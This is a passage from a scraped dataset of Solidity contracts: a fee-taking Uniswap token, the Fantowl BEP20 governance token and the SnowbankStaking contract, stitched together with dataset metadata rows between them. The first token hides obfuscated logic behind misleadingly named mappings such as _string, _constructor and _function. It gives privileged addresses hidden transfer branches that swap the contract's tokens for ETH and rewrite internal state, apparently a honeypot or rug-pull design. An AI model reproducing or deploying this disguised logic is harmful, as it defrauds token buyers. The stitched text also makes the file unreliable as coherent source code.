function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Contract is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 3;
uint8 private _decimals = 9;
uint256 private _tTotal = 100000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 26,621 | 617 |
6cfdaba3b9b75825f09b6f7d3465adef1dd5fc5b99dbdefdd02131da5e151f5d
| 39,242 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/80/801446c6181de226fab6e991ef049d3047be54eb_Fantowl.sol
| 4,961 | 19,683 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000;
string private _name = "Fantowl Token";
string private _symbol = "FOWL";
uint8 private _decimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount,
"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount,
"BEP20: burn amount exceeds allowance"));
}
}
// Fantowl with Governance.
contract Fantowl is BEP20("Fantowl Token", "FOWL") {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number,
"CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 319,910 | 618 |
55317558cbb528c0215de8abefb12de2dab921ea576b406deebea49bc8b298b6
| 27,375 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b7/b70775e49733c544605798d2a55e399477afd40b_SnowbankStaking.sol
| 4,199 | 16,944 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SnowbankStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 108,501 | 619 |
b415518ba582aaffb0a82a07dd2d8689a189efb194d1bfcb83b9f9688867daa5
| 13,025 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
